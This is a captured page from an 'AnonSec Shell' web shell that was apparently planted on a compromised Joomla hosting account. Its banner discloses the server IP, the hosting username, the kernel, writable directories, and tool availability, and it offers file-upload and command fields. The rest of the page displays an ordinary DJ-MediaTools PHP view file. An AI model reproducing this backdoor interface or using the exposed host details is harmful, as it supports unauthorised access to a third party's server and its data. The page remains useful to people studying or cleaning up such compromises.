AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/components/com_djmediatools/views/items/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/components/com_djmediatools/views/items/view.html.php
<?php
/**
 * @version $Id$
 * @package DJ-MediaTools
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 * DJ-MediaTools is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-MediaTools is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-MediaTools. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

jimport('joomla.application.component.view');
require_once(JPATH_COMPONENT_ADMINISTRATOR . '/models/categories.php');

class DJMediatoolsViewItems extends JViewLegacy
{
    protected $items;
    protected $pagination;
    protected $state;
    public $filterForm;
    public $activeFilters;

    public function display($tpl = null)
    {


        $this->items = $this->get('Items');
        $this->pagination = $this->get('Pagination');
        $this->state = $this->get('State');
        $this->filterForm = $this->get('FilterForm');
        $this->activeFilters = $this->get('ActiveFilters');

        $categories = JModelLegacy::getInstance('Categories','DJMediaToolsModel',array('ignore_request'=>true));
        $this->category_options = $categories->getSelectOptions(true, false, 0, true);

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new \Exception(implode("\n", $errors), 500);
            return false;
        }

        foreach ($this->items as $item) {
            if (!$item->thumb = DJImageResizer::createThumbnail($item->image, 'media/djmediatools/cache', 60, 40, 'crop', 80)) {
                $item->thumb = $item->image;
            }
            if (strcasecmp(substr($item->image, 0, 4), 'http') != 0 && !empty($item->image)) {
                $item->image = JURI::root(true) . '/' . $item->image;
            }
            if (strcasecmp(substr($item->thumb, 0, 4), 'http') != 0 && !empty($item->thumb)) {
                $item->thumb = JURI::root(true) . '/' . $item->thumb;
            }
        }

        $this->addToolbar();


        $this->classes = DJMediaToolsHelper::getBSClasses();

        $version = new JVersion;
        if (version_compare($version->getShortVersion(), '4.0.0', '<')) {
            $this->setLayout('legacy');
            if (class_exists('JHtmlSidebar')) {
                $this->sidebar = JHtmlSidebar::render();
            }
        } elseif (version_compare($version->getShortVersion(), '4.0.0', '>=') && (!\count($this->items) && $this->isEmptyState = $this->get('IsEmptyState'))) {
            $this->setLayout('emptystate');
        }


        parent::display($tpl);
    }

    protected function addToolbar()
    {
        JToolBarHelper::title(JText::_('COM_DJMEDIATOOLS') . ' ›› ' . JText::_('COM_DJMEDIATOOLS_SLIDES'), 'slides');
        $doc = JFactory::getDocument();
        $doc->addStyleDeclaration('.icon-48-slides { background-image: url(components/com_djmediatools/assets/icon-48-slides.png); }');

        JHTML::_('jquery.framework');
        $doc->addStyleSheet(JURI::root(true) . '/media/djextensions/magnific/magnific.css');
        $doc->addScript(JURI::root(true) . '/media/djextensions/magnific/magnific.js', 'text/javascript');
        $doc->addScript(JURI::base(true) . '/components/com_djmediatools/assets/magnific-init.js', 'text/javascript');

        if (JFile::exists(JPATH_ADMINISTRATOR . '/components/com_djimageslider/djimageslider.php')) {
            JToolBarHelper::custom('items.import', 'copy', '', 'COM_DJMEDIATOOLS_IMPORT_SLIDES', false);
            JToolBarHelper::divider();
        }

        JToolBarHelper::addNew('item.add', 'JTOOLBAR_NEW');
        JToolBarHelper::editList('item.edit', 'JTOOLBAR_EDIT');
        JToolBarHelper::deleteList('', 'items.delete', 'JTOOLBAR_DELETE');
        JToolBarHelper::divider();
        JToolBarHelper::custom('items.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_PUBLISH', true);
        JToolBarHelper::custom('items.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
        JToolBarHelper::divider();
        JToolBarHelper::preferences('com_djmediatools', 550, 900);

    }
}

Anon7 - 2022
AnonSec Team